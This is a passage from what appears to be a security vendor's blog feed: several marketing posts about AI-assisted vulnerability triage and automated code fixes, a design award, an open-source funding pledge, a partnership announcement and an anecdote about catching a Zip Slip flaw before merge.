<p>Here’s the twist: <strong>finding more can be better</strong> — <strong>if and only if</strong> you can convert that detection firehose into rapid, developer‑accepted fixes. That requires an AI‑first approach to triage, evidence gathering, and remediation delivery.</p>
<p>The old trade‑off between <em>coverage</em> and <em>remediation capacity</em> collapses when:</p>
<ol>
<li><p><strong>Triage scales at the speed of inference.</strong> Large volumes aren’t a problem if machine judgment can sort out the signal from the noise, adjudicate risk, rank by exploitability, and generate proofs/evidence automatically.</p>
</li>
<li><p><strong>Context is fused, not fetched.</strong> AI agents can ingest code, configs, IaC, and the results to determine if a finding is a problem <em>here</em>, in <em>this</em> repo, <em>this</em> environment.</p>
</li>
<li><p><strong>Fixes ship where developers work.</strong> Remediation arrives as ready‑to‑review PRs/merge requests with tests and rollback guidance — not as tickets.</p>
</li>
<li><p><strong>Feedback is learned, not lost.</strong> Every human decision (merge, reject, comment) becomes labeled data, continuously improving ranking and fix suggestions.</p>
</li>
</ol>
<p>Without these capabilities, “more findings” just accelerates failure. With them, the marginal finding has near‑zero cost and sometimes uncovers the next incident‑preventing fix.</p>
<h2 id="heading-the-counterintuitive-choice-revisited">The Counterintuitive Choice (Revisited)</h2>
<p>When you can triage, verify, and remediate at the <strong>speed of inference</strong>, “more findings” stop being a liability. The correct decision flips from <em>pick the tool that finds fewer things</em> to <em>pick (or instrument) the ecosystem that can fix more things, faster.</em></p>
<p>In other words: <strong>choose the stack that turns noise into merged PRs.</strong> That’s the only coverage that matters.</p>
]]></content:encoded></item><item><title><![CDATA[Pixee’s Approach to Security Focused UX and Design]]></title><description><![CDATA[We're thrilled to announce that Pixee has won not one, but two Cyber UXcellence Awards at Black Hat USA 2025! Powered by Mindgrub, the awards celebrate teams creating intuitive, user-friendly, and effective security products. This recognition validat...]]></description><link>https://blog.pixee.ai/pixee-design-first-security-uxcellence-awards</link><guid isPermaLink="true">https://blog.pixee.ai/pixee-design-first-security-uxcellence-awards</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[UX]]></category><category><![CDATA[ux design]]></category><category><![CDATA[AI]]></category><category><![CDATA[DeveloperExperience]]></category><category><![CDATA[appsec]]></category><dc:creator><![CDATA[Rosie Cunningham]]></dc:creator><pubDate>Thu, 28 Aug 2025 19:50:28 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1756409846866/8f43b39c-c976-49eb-a13d-1436921a445b.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>We're thrilled to announce that Pixee has won not one, but two Cyber UXcellence Awards at Black Hat USA 2025! Powered by Mindgrub, the awards celebrate teams creating intuitive, user-friendly, and effective security products. This recognition validates what we've believed since day zero: exceptional user experience isn't just nice to have in security tools. It's essential for driving real outcomes.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756329854454/36d9fcd7-ffec-4383-bdfd-adaccb285a0f.png" alt class="image--center mx-auto" /></p>
<p>This post is based on an interview with our Staff Product Designer and founding team member, Terra Caussin. You can watch the full conversation <a target="_blank" href="https://youtu.be/5hlJ9duJ-_U"><strong>here</strong></a>.</p>
<h2 id="heading-why-design-matters-in-security">Why Design Matters in Security</h2>
<p>In an industry often hindered by technical complexity and alert fatigue, we've taken a radically different approach. As Terra puts it:</p>
<blockquote>
<p>"AI gives us incredible opportunities to save users time and reduce their pain points, but in security, control and oversight are non-negotiable, right?"</p>
</blockquote>
<p>This philosophy has driven us to create a platform that doesn't just fix vulnerabilities. It respects the humans who need to review, understand, and approve those fixes. The result? A 76% merge rate for our automated security fix and triage recommendations.</p>
<h2 id="heading-meeting-teams-where-they-are-without-breaking-their-flow">Meeting Teams Where They Are (Without Breaking Their Flow)</h2>
<p>One of our core design principles is protecting developer flow state. "We made a deliberate choice not to live inside the IDE because we think that's where the focus is most fragile," Terra notes. Instead, Pixee surfaces fixes in developers' natural review environment, the SCM, where they're already in review mode.</p>
<p>For security teams, we provide the high level view they need across repos and tools, with in-depth triage analysis that gives them control over when and where to run deeper analysis. It's about creating a true partnership between AI and human expertise, not just automation for automation's sake.</p>
<h2 id="heading-the-power-of-minimalism-in-complex-spaces">The Power of Minimalism in Complex Spaces</h2>
<p>Handling critical security information without overwhelming users requires thoughtful design choices. Terra’s approach centers the user experience at every step:</p>
<blockquote>
<p>"I've always been a big fan of minimalism and clean lines. I don't like clutter anywhere in my life, ask my family. And that philosophy helps me create space and clarity even when the data is complex."</p>
</blockquote>
<p>By applying foundational design principles like Hick's Law (fewer choices mean faster decisions) and Gestalt principles (using proximity, similarity, and negative space to guide attention), we've created interfaces that surface exactly what's needed in the moment, with easy access to deeper details when required.</p>
<h2 id="heading-building-trust-through-clarity">Building Trust Through Clarity</h2>
<p>Our code fixes and triage are more than automation. They're well-crafted explanations that tell the story behind each change, making them valuable to both junior developers and seasoned security pros alike. As Terra explains, Pixee is intentionally designed to "educate folks as they go while still offering the depth that experts would need or expect."</p>
<p>This commitment to clear communication extends throughout our platform:</p>
<ul>
<li><p>Clean data visualizations that make analysis summaries instantly understandable</p>
</li>
<li><p>Consistent visual patterns that improve discoverability and reduce cognitive load</p>
</li>
<li><p>Flexible views for different personas, from engineering managers needing repository metrics to CISOs requiring reporting across the entire organization.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756404144220/fae3863d-f6a1-40a2-99bc-df781b1c4e49.png" alt="Dashboard view of Pixee’s scan analysis for the WebGoat project, showing 82% triage coverage and 39% fix coverage across 33 findings." class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756404395714/c81ad9a0-debe-419c-a6ff-ab5ed55e9c95.png" alt="Pixee’s triage analysis view for the WebGoat project, showing results distribution including 48% true positives, 15% inconclusive, 9% false positives, and 18% untriaged findings." class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756404412156/c3156c3d-d7fb-4170-9ad5-cfba355660ab.png" alt="Pixee’s findings table displaying security issues with severity, classification, and fix availability, including blockers for SQL injection and deserialization." class="image--center mx-auto" /></p>
<h2 id="heading-a-design-driven-culture-from-day-zero">A Design-Driven Culture from Day Zero</h2>
<p>While Terra may technically be our only designer, she's quick to point out that "UX is really a shared responsibility. Everyone's thinking about it. Everyone's driving it, and we're truly supporting it from all angles."</p>
<p>This design-first mentality, combined with early investment in a design system, has allowed us to move faster while maintaining quality. We've put less emphasis on rigid processes and more on systems thinking, which has helped us go further, faster.</p>
<h2 id="heading-looking-ahead-the-future-of-security-ux">Looking Ahead: The Future of Security UX</h2>
<p>As AI becomes more central to cybersecurity, we see UX playing an even more critical role in keeping humans effectively in the loop. Terra notes:</p>
<blockquote>
<p>"Trust doesn't mean replacing human judgment necessarily, it means AI can take on the heavy lifting so that people can focus on the higher value problem solving and decision making together."</p>
</blockquote>
<p>We're already exploring new interaction patterns that enable deeper collaboration between security teams, developers, and AI agents. Users can provide feedback, add environmental context, and flag preferences that tune our analysis to match their unique organizational needs.</p>
<h2 id="heading-thank-you-to-mindgrub-and-the-cybersecurity-community">Thank You to Mindgrub and the Cybersecurity Community</h2>
<p>These <a target="_blank" href="https://cyberuxcellence.com/">Cyber UXcellence Awards</a>, presented by Mindgrub Technologies at Black Hat USA 2025, recognize not just our design work, but our fundamental belief that security tools should empower, not overwhelm. We're honored to be recognized alongside other innovative cybersecurity companies and grateful to our customers who trust us to help keep their software safe.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756329952287/66e9b398-380d-4bf6-8e5a-29adf06c1e08.png" alt="Pixee’s Head of Sales and Success Girish Nair alongside CTO and co-founder Arshan Dabirsiaghi, holding two Cyber UXcellence Awards, standing in front of the awards backdrop." class="image--center mx-auto" /></p>
<p>As we continue building the future of security fixes, we remain committed to respecting the key pillars of developer experience: flow state, cognitive load, and feedback loops, while giving security teams the control and visibility they need.</p>
<p>Want to see our award-winning UX in action? <a target="_blank" href="https://www.pixee.ai/demo-landing-page">Schedule a demo</a> to discover how Pixee can transform your workflow through thoughtful, security focused UX and design.</p>
<h2 id="heading-about-pixee">About Pixee</h2>
<p>Pixee is the AI Product Security Engineer that bridges the gap between developer velocity and security needs. By automating triage and delivering trusted code fixes inside existing workflows, Pixee enables teams to remediate at scale and ship secure code at the speed of business.</p>
]]></content:encoded></item><item><title><![CDATA[The Illusion of Progress: Why Prioritization Alone Won't Make Us Safer]]></title><description><![CDATA[TL;DR
The application security industry began with vulnerability discovery, but now focuses heavily on prioritization. Is that really the best strategy? Rather than getting stuck ranking vulnerabilities, organizations should embrace an all-in mindset...]]></description><link>https://blog.pixee.ai/the-illusion-of-progress-why-prioritization-alone-wont-make-us-safer</link><guid isPermaLink="true">https://blog.pixee.ai/the-illusion-of-progress-why-prioritization-alone-wont-make-us-safer</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[automation]]></category><category><![CDATA[appsec]]></category><category><![CDATA[AI]]></category><dc:creator><![CDATA[Rosie Cunningham]]></dc:creator><pubDate>Wed, 26 Mar 2025 15:25:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1743007510492/26e557ea-00a5-4156-8f92-6f2dcd6bb7a5.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-tldr">TL;DR</h1>
<p>The application security industry began with vulnerability discovery, but now focuses heavily on prioritization. Is that really the best strategy? Rather than getting stuck ranking vulnerabilities, organizations should embrace an all-in mindset for security. In other words, stop sweeping security issues under the rug and <strong>just fix it.</strong> With our automated product security engineer, you can do this at scale.</p>
<hr />
<p><strong>We all have a finite amount of time and energy</strong>, so we naturally prioritize to focus on what matters most. We see a similar approach in application security. Most organizations rely on a small team of security engineers to support a large contingent of software developers, quickly becoming overwhelmed by the sheer volume of vulnerabilities. To cope, teams often adopt creative prioritization strategies, but this raises an important question: <strong>is prioritization alone enough?</strong></p>
<h2 id="heading-the-illusion-of-progress-through-prioritization">The Illusion of Progress Through Prioritization</h2>
<p>Prioritization gives teams a sense of control. By ranking vulnerabilities, teams feel they're effectively managing risk. But prioritization without remediation can become just another form of procrastination, creating an illusion of progress. For example, security teams that only prioritize critical vulnerabilities without addressing lower priority issues can inadvertently leave their organization exposed. After all, attackers only need to be right once.</p>
<p>Many organizations are falling into the trap and are looking at prioritization as a more sustainable solution for managing vulnerabilities and genuinely improving their security posture. Here’s why remediation deserves top billing in your program, and how it can be done at scale.</p>
<h2 id="heading-how-we-got-here">How We Got Here</h2>
<p>The industry's approach to application security has evolved significantly over the last two decades, as broadly documented by industry groups like OWASP:</p>
<h3 id="heading-early-2000s-the-manual-era"><strong>Early 2000s: The Manual Era</strong></h3>
<p>In the early stages, manual code reviews and penetration tests were the norm, guided by resources like the <a target="_blank" href="https://owasp.org/www-project-web-security-testing-guide"><strong>OWASP Testing Guide</strong></a>. While thorough, these methods were resource-intensive and challenging to scale across larger codebases.</p>
<h3 id="heading-mid-2000s-to-early-2010s-rise-of-automated-scanners"><strong>Mid-2000s to Early 2010s: Rise of Automated Scanners</strong></h3>
<p>This era marked a significant shift toward automated scanning tools, increasing the scope and speed of security assessments but also introducing widespread alert fatigue, as teams struggled to address the volume of findings effectively.</p>
<h3 id="heading-early-2010s-to-present-prioritization-becomes-commonplace"><strong>Early 2010s to Present: Prioritization Becomes Commonplace</strong></h3>
<p>As scanning tools became ubiquitous and generated massive amounts of findings, prioritization strategies became essential. Frameworks like the <a target="_blank" href="https://owasp.org/www-project-top-ten/"><strong>OWASP Top Ten</strong></a> were introduced as early as 2003, but saw widespread adoption and influence increase significantly during the 2010s as prioritization strategies became essential. Despite improved prioritization, the problem of accumulating security debt persisted, prompting renewed discussions about the limitations of prioritization alone.</p>
<p>The overarching challenge is clear: prioritization manages vulnerabilities but doesn't eliminate them. Organizations increasingly realize this and are exploring approaches focused on remediation.</p>
<h2 id="heading-the-real-limits-of-prioritization">The Real Limits of Prioritization</h2>
<p>While prioritization helps teams manage workloads, it has clear limitations:</p>
<ul>
<li><p><strong>Persistent Security Debt:</strong> Lower priority vulnerabilities accumulate over time, making the backlog increasingly difficult to handle.</p>
</li>
<li><p><strong>Compliance Expectations:</strong> Regulators increasingly require comprehensive vulnerability management rather than selective prioritization. GDPR and PCI DSS explicitly penalize organizations for known but unresolved vulnerabilities.</p>
</li>
<li><p><strong>Lower Priority Still Means Risk:</strong> Organizations face tangible risks when vulnerabilities, regardless of initial priority, aren’t promptly remediated. T-Mobile’s 2021 data breach occurred due to long-standing security gaps left unaddressed for years, exposing sensitive data of 79 million customers. The breach has already cost T-Mobile a $350 million class-action settlement and a $15.75 million FCC fine, with further legal and regulatory actions <a target="_blank" href="https://www.theverge.com/2025/1/8/24338947/t-mobile-2021-data-breach-washington-ag-lawsuit"><strong>still pending</strong></a><strong>.</strong></p>
</li>
<li><p><strong>Burnout Among Security Teams:</strong> Prioritization without remediation often leaves teams managing persistent vulnerability backlogs, contributing to burnout and emotional fatigue. This situation also creates significant opportunity costs, reducing the team's capacity to pursue strategic initiatives or proactive improvements. Adopting remediation frees security professionals to focus on tasks more closely aligned with their expertise, passions, and professional growth.</p>
</li>
</ul>
<h2 id="heading-why-remediation-is-a-better-approach">Why Remediation is a Better Approach</h2>
<p>Organizations focusing more on actively remediating issues have found significant improvements. Here’s what effective remediation typically includes:</p>
<ul>
<li><p><strong>Addressing Vulnerabilities at the Source:</strong> Proactively fixing vulnerabilities reduces overall security debt and minimizes long-term risk.</p>
</li>
<li><p><strong>Creating a Sustainable Security Posture:</strong> Regular and consistent remediation maintains a more manageable backlog and prevents vulnerability accumulation.</p>
</li>
<li><p><strong>Empowering Security Teams:</strong> Teams spend less time reviewing risk ratings and more time implementing proactive security improvements.</p>
</li>
</ul>
<h2 id="heading-balancing-prioritization-with-remediation">Balancing Prioritization with Remediation</h2>
<p>Prioritization still matters, but as part of a larger strategy that emphasizes fixing, not just flagging vulnerabilities. Leaders should encourage a culture where prioritization naturally leads to actionable remediation, not delay.</p>
<h2 id="heading-how-pixee-helps-you-remediate-effectively">How Pixee Helps You Remediate Effectively</h2>
<p>Pixee directly addresses the practical challenges security teams face in remediation:</p>
<ul>
<li><p><strong>Intelligent, Automated Triage:</strong> Quickly identify real vulnerabilities and remove noise, streamlining the remediation process.</p>
</li>
<li><p><strong>Context-Aware Fix Recommendations:</strong> Provide your developers with clear, precise, and actionable fixes tailored to the exact context of their code.</p>
</li>
<li><p><strong>Integration with Existing Development Processes:</strong> Remediation actions are integrated into your CI/CD pipeline, making security improvements seamless and frictionless for development teams.  </p>
</li>
</ul>
<p>    <strong>By leveraging Pixee, teams significantly reduce their vulnerability backlog, manage security debt effectively, and achieve a more proactive, sustainable security posture.</strong>  </p>
<h1 id="heading-ready-to-move-from-prioritizing-to-fixing">Ready to Move from Prioritizing to Fixing?</h1>
<p>If your team wants to move beyond prioritization and start effectively triaging and remediating vulnerabilities, Pixee can help! <a target="_blank" href="https://www.pixee.ai/demo-landing-page"><strong>Schedule a Demo Today</strong></a></p>
]]></content:encoded></item><item><title><![CDATA[Pixee's Pledge to Open Source]]></title><description><![CDATA[At Pixee, we need open source to do what we do, and we’re not alone. Research out of Harvard Business School by Manuel Hoffmann, Frank Nagle, and Yanuo Zhou estimates the demand-side value of open source to be $8.8 trillion (yes, TRILLION!).
As we le...]]></description><link>https://blog.pixee.ai/pixees-pledge-to-open-source</link><guid isPermaLink="true">https://blog.pixee.ai/pixees-pledge-to-open-source</guid><category><![CDATA[Open Source]]></category><category><![CDATA[software development]]></category><category><![CDATA[community]]></category><dc:creator><![CDATA[Rosie Cunningham]]></dc:creator><pubDate>Mon, 30 Sep 2024 15:48:29 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1727708971251/d0986d07-39f4-4d71-86df-b6a9575e68bb.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>At Pixee, we need open source to do what we do, and we’re not alone. <a target="_blank" href="https://www.hbs.edu/faculty/Pages/item.aspx?num=65230">Research</a> out of Harvard Business School by Manuel Hoffmann, Frank Nagle, and Yanuo Zhou estimates the demand-side value of open source to be $8.8 trillion (yes, TRILLION!).</p>
<p>As we leverage tools from the community, we strive to give back wherever possible. Which is why we’re joining Sentry’s Open Source pledge.</p>
<h1 id="heading-about-the-pledge">About the Pledge</h1>
<p>The Open Source pledge is a joint effort between a group of companies to pay Open Source maintainers for their work, which benefits us all. <a target="_blank" href="https://opensourcepledge.com/about/">The goal</a> of the pledge is to:</p>
<blockquote>
<p>“establish a new social norm in the tech industry of companies paying Open Source maintainers, so that burnout and related security issues such as those in XZ and Log4j can become a thing of the past.”</p>
</blockquote>
<p>A mission that closely aligns with our values, and has inspired us to join the other companies that have already started to pay their share.</p>
<p>The pledge calls for participating companies to pay $2,000 per FTE developer to Open Source maintainers or foundations, and to commit to doing so in future years. A commitment we have already met, and are proud to continue going forward.</p>
<h1 id="heading-open-source-pixee-supports">Open Source Pixee Supports</h1>
<p>In the past year, we have contributed a total of $25,265 to the Open Source projects we rely on and the Open Source foundations we support:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>Foundation / Project</strong></td><td><strong>Amount</strong></td></tr>
</thead>
<tbody>
<tr>
<td><a target="_blank" href="https://owasp.org/">OWASP Foundation</a></td><td>$24,790</td></tr>
<tr>
<td><a target="_blank" href="https://opencollective.com/javaparser">JavaParser</a></td><td>$25 / month</td></tr>
<tr>
<td><a target="_blank" href="https://opencollective.com/analysis-tools">Analysis Tools</a></td><td>$100 / month</td></tr>
</tbody>
</table>
</div><h1 id="heading-open-source-contributions">Open Source Contributions</h1>
<p>In addition to financial investments, we've made direct contributions to the following Open Source projects, either directly, or as part of being Pixee free tier users:</p>
<ul>
<li><p><a target="_blank" href="https://github.com/Instagram/LibCST/">LibCST</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/quarkusio/quarkus">Quarkus</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/hub4j/github-api">GitHub4j</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/junit-team">JUnit</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/spring-projects/spring-framework">Spring Framework</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/Stirling-Tools/Stirling-PDF">StirlingPDF</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/pixee/codemodder-java">Codemodder</a> (Our own open source framework for building expressive codemods)</p>
</li>
</ul>
<h1 id="heading-join-the-open-source-pledge">Join the Open Source Pledge</h1>
<p>Join Pixee and other companies in supporting the Open Source pledge by visiting: <a target="_blank" href="https://opensourcepledge.com/">https://opensourcepledge.com/</a></p>
]]></content:encoded></item><item><title><![CDATA[User Spotlight: ResumeBoostAI]]></title><description><![CDATA[Fresh out of school and looking for his first programming job, Bryam Loaiza began where most job-seekers do: crafting a resume.
Using Word was too time-consuming. “Which format should I use?”, “Is it important to use colors?”, “What is the correct am...]]></description><link>https://blog.pixee.ai/user-spotlight-resumeboostai</link><guid isPermaLink="true">https://blog.pixee.ai/user-spotlight-resumeboostai</guid><category><![CDATA[#ai-tools]]></category><category><![CDATA[AI]]></category><category><![CDATA[Developer]]></category><category><![CDATA[Developer Tools]]></category><category><![CDATA[Security]]></category><category><![CDATA[devtools]]></category><dc:creator><![CDATA[Rosie Cunningham]]></dc:creator><pubDate>Fri, 12 Jul 2024 20:59:01 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1720817898672/2b4e0051-ad40-4d5b-9fe9-a7b442d2184a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Fresh out of school and looking for his first programming job, Bryam Loaiza began where most job-seekers do: crafting a resume.</p>
<p>Using Word was too time-consuming. “Which format should I use?”, “Is it important to use colors?”, “What is the correct amount of detail to include for each previous employer?”</p>
<p>These and other factors quickly complicated the task. Add in the reason for all of this effort –  searching for jobs and preparing for interviews – he became overwhelmed at a time when maintaining focus was vital.</p>
<p>This experience led him to build ResumeBoostAI, a suite of AI-powered tools designed to optimize job resumes and cover letters.</p>
<h3 id="heading-security-first">Security First</h3>
<p>As he began building, the first thing that came to mind was protecting users’ personal information. Resumes contain a substantial amount of PII (Personally Identifiable Information), and handling it in the most secure way possible was his first priority. After careful consideration, he landed on an approach that met his high standards for security.</p>
<p>ResumeBoostAI prides itself on building a resume maker that doesn't store any personal information on the backend, aside from email addresses. The application is designed to save all the information provided for resume generation on the users’ browsers, fostering a more secure user experience. When it came time to adopt security tools for his application, Bryam chose Pixeebot as his go-to solution, explaining that:</p>
<blockquote>
<p>"Pixeebot is a superb tool, the amount of features it offers and how well it works is amazing. Automation is a big part of today's life and things will get only more automated, which is why I decided to implement Pixeebot.</p>
<p>It makes it easy to fix security flaws and make other improvements to my code, saving me a lot of time to focus on more important things. ResumeBoostAI has been developed meticulously and plays a crucial role in helping job seekers find opportunities, which is why it's important to be able to identify any security issues in a timely manner, and fix them immediately."</p>
</blockquote>
<h3 id="heading-whats-next-for-resumeboostai">What's Next for ResumeBoostAI</h3>
<p>ResumeBoostAI is just starting out, but it has already generated more than 1,000 resumes. In addition to resume and cover letter generation, they offer resume scoring, an ATS resume checker, and a library of resume examples—all resources aimed at empowering users in their job hunt by providing them with the tools and insights needed to stand out to potential employers.</p>
<p>They plan to incorporate more AI-powered tools to make the product suite even more useful while keeping the price at a fraction of the cost charged by similar products. Their ultimate goal is to maintain accessibility and make it affordable for everyone, including students and those at the beginning stages of their careers. Learn more at <a target="_blank" href="https://resumeboostai.com">https://resumeboostai.com</a>.</p>
]]></content:encoded></item><item><title><![CDATA[DefectDojo and Pixee Partner to Realize the Potential of DevSecOps]]></title><description><![CDATA[Austin, TX and San Francisco, CA, June 05, 2024 – DefectDojo, the company that powers DevSecOps, and Pixee, the automated product security engineer, are integrating their products to enable organizations to realize the potential of DevSecOps with sca...]]></description><link>https://blog.pixee.ai/pixee-and-defectdojo</link><guid isPermaLink="true">https://blog.pixee.ai/pixee-and-defectdojo</guid><category><![CDATA[DevSecOps]]></category><category><![CDATA[automation]]></category><category><![CDATA[Security]]></category><category><![CDATA[software development]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[AI]]></category><dc:creator><![CDATA[Surag Patel]]></dc:creator><pubDate>Wed, 05 Jun 2024 16:00:44 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1717533563780/d43aa310-25f9-42f4-9028-e49fe288e62a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Austin, TX and San Francisco, CA, June 05, 2024 –</strong> DefectDojo, the company that powers DevSecOps, and Pixee, the automated product security engineer, are integrating their products to enable organizations to realize the potential of DevSecOps with scalable, accurate, automated vulnerability management and auto-remediation.</p>
<p>Organizations continue to struggle to scale security and manage risk in an efficient manner. DefectDojo and Pixee are leading the charge to cover the full spectrum of DevSecOps. For the first time, companies can aggregate findings from a vast array of tools, over 170, combined with automated remediation.</p>
<p>With this first-of-its-kind integration between DefectDojo’s ASPM platform and Pixee’s AI-enabled auto-remediation platform, enterprises can benefit from:</p>
<ul>
<li><p>Intelligent prioritization and auto-remediation based on accurate findings, exploitability, and hardened code</p>
</li>
<li><p>Unified risk management for faster risk elimination without added resources, improved reporting, simplified compliance </p>
</li>
<li><p>Scalability for greater AppSec efficiency powered by automation with no additional staff, yielding more time for strategic projects</p>
</li>
</ul>
<blockquote>
<p>“High quality security results are the first step for successful, scalable DevSecOps initiatives,” said Greg Anderson, co-founder and CEO, DefectDojo. “Now, we can pair DefectDojo’s accurate, deduplicated findings with Pixee’s automated remediation platform for another layer of efficiency and improved risk reduction.”  </p>
</blockquote>
<hr />
<blockquote>
<p>“It’s exciting to experience the future when we connect DefectDojo and Pixee. For the first time, DevSecOps programs can focus on driving outcomes around remediation and mean-time-to-remediation (MTTR). With the prioritized and unified backlog provided through DefectDojo and Pixee’s ability to auto-remediate findings, we now have the closest system to an autonomous DevSecOps program,” said Surag Patel, co-founder and CEO of Pixee. </p>
</blockquote>
<h2 id="heading-integration-features"><strong>Integration Features</strong></h2>
<p>DefectDojo pioneered automation in vulnerability management. Scalable to millions of findings, able to ingest data from hundreds of the most popular application and infrastructure scanners, and integrated with Jira to help developers get results faster, DefectDojo is advancing risk management at global enterprises.</p>
<p>Pixee is leading the innovation in automated remediation, capitalizing on the power of determinism with purposefully used AI to automate the developer work of rewriting code.</p>
<p>The integration builds on the advanced features of both products to provide an intelligent solution that saves security teams time and money to deliver on the promise of DevSecOps.</p>
<p><strong>Intelligent Prioritization and Remediation</strong></p>
<ul>
<li><p>Produce accurate findings with less toil and targeted remediation.</p>
</li>
<li><p>Strengthen prioritization. Attack issues by importance to <em>your</em> organization</p>
</li>
<li><p>Accelerate SDLC output. Harden code. Eliminate bugs automatically.</p>
<p>  Unified risk management  </p>
</li>
</ul>
<p><strong>Unified Risk Management</strong></p>
<ul>
<li><p>Deliver strategic, board-ready reporting with verified accurate results.</p>
</li>
<li><p>Manage risk faster. Attain MTTR reduction without additional developer and security team hours.</p>
</li>
<li><p>Improve compliance with a 360 degree view of risk posture.</p>
</li>
</ul>
<p><strong>Scalability/Greater AppSec Efficiency</strong></p>
<ul>
<li><p>Create a self-service AppSec program powered by automation.</p>
</li>
<li><p>Repurpose AppSec talent for strategic projects.</p>
</li>
<li><p>Increase output without adding people.  </p>
</li>
</ul>
<h2 id="heading-pricing-and-availability"><strong>Pricing and Availability</strong></h2>
<p>The DefectDojo-Pixee integration is available today. DefectDojo is available as an open source project and a fully supported commercial version with additional enterprise features. Pixeebot is available for free or with enterprise features in a commercial license. Code rewriting foundation, Codemodder is an open source project.</p>
<h2 id="heading-about-defectdojo"><strong>About DefectDojo</strong></h2>
<p>DefectDojo is the company and the product that powers DevSecOps. Our open platform transforms security information management, connecting security strategy and informed execution for intelligent risk management. Security and DevSecOps teams can aggregate, automate, and integrate data from more than 170 security tools for a unified view of security posture and compliance, streamlined workflows, and improved decision-making. DefectDojo was created by security pros for security pros. To learn more, visit <a target="_blank" href="http://defectdojo.com/">defectdojo.com</a>.</p>
<h1 id="heading-about-pixee"><strong>About Pixee</strong></h1>
<p>Pixee builds innovative solutions that help developers produce higher quality and secure code with new tools that integrate directly into their native workflow. Its first product, Pixeebot, acts as an expert security developer on the team that is constantly reviewing and automatically hardening the codebase. Pixee is backed by Decibel Partners and Wing Venture Capital, and is trusted by tens of thousands of developers daily. Learn more at <a target="_blank" href="http://www.pixee.ai">www.pixee.ai</a></p>
]]></content:encoded></item><item><title><![CDATA[That Time Our Own Security Tools Came to the Rescue]]></title><description><![CDATA[Introduction
At Pixee, we rely on our development tools to improve efficiency and maintain the high security standards necessary for today’s software applications.  That’s where our story picks up today.  We are seeing some duplicate processing relat...]]></description><link>https://blog.pixee.ai/pixeebot-sonar-security</link><guid isPermaLink="true">https://blog.pixee.ai/pixeebot-sonar-security</guid><category><![CDATA[sonarqube]]></category><category><![CDATA[Developer Tools]]></category><category><![CDATA[Developer]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[automation]]></category><dc:creator><![CDATA[David Hafley]]></dc:creator><pubDate>Thu, 23 May 2024 17:00:41 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1715310476384/be217fc9-aad8-4e09-a478-9d0fa7d0db85.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-introduction"><strong>Introduction</strong></h3>
<p>At Pixee, we rely on our development tools to improve efficiency and maintain the high security standards necessary for today’s software applications.  That’s where our story picks up today.  We are seeing some duplicate processing related to the handling of a downloaded zip file.  To achieve this, we planned to migrate the storage of a zip file from Amazon Elastic File System (EFS) to Amazon S3—a change aimed at simplifying our architecture and boosting performance.</p>
<h3 id="heading-the-problem"><strong>The Problem</strong></h3>
<p>During sprint planning, a potential issue was flagged concerning a well-known class of vulnerabilities related to zip files. Zip Slip can occur when extracting files from a zip, allowing an attacker to overwrite important files, leading to remote code execution or other serious side effects.</p>
<h3 id="heading-automated-security-checks-kick-in"><strong>Automated Security Checks Kick In</strong></h3>
<p>As the team was completing their work, a pull request was submitted to gather human, test, and tool feedback.  The Sonarcloud GitHub App immediately began reviewing the new code for security issues. Within minutes, it identified a Zip Slip vulnerability, failing a Quality Gate and blocking any code merges.</p>
<p>Our project is configured to share any Sonar findings with Pixeebot.  These findings triggered a pixeebot action that generated a fix for the newly identified vulnerability!</p>
<h3 id="heading-seamless-security-and-development"><strong>Seamless Security and Development</strong></h3>
<p>The developer quickly reviewed and merged Pixeebot’s pull request with their original changes. This merge corrected the issue, satisfying Sonarcloud’s Quality Gate, prevented the issue from impacting the production environment, keeping our customers safer.</p>
<h3 id="heading-reflection"><strong>Reflection</strong></h3>
<p>This experience underscored the invaluable safety net provided by our security tools. It wasn’t just about preventing a potential security issue; it was a testament to how well-integrated solutions can work in concert to not only detect but also rectify issues swiftly and efficiently. Seeing our tools perform flawlessly under pressure was both reassuring and inspiring.</p>
<h3 id="heading-conclusion"><strong>Conclusion</strong></h3>
<p>For any of my peers in the software security industry, this incident highlights the importance of automated security within CI/CD pipelines. It’s a reminder of the power of tools like Sonarcloud and Pixeebot to not only find but fix problems, ensuring that our applications are not just functional but fundamentally secure.</p>
<p>Through proactive security practices and the right tools, we can make significant strides in protecting our infrastructures and data. Let our story be a reminder of the continuous vigilance and innovation needed in our field.</p>
<p>To learn more about integrating Pixeebot with your security tools, head over to <a target="_blank" href="https://docs.pixee.ai/code-scanning-tools/overview/">https://docs.pixee.ai/code-scanning-tools/overview/</a></p>
]]></content:encoded></item><item><title><![CDATA[User Spotlight: Stirling-PDF]]></title><description><![CDATA[What do PDFs, chat GPT, and Reddit all have in common? Stirling-PDF, an open source web based PDF manipulation tool.
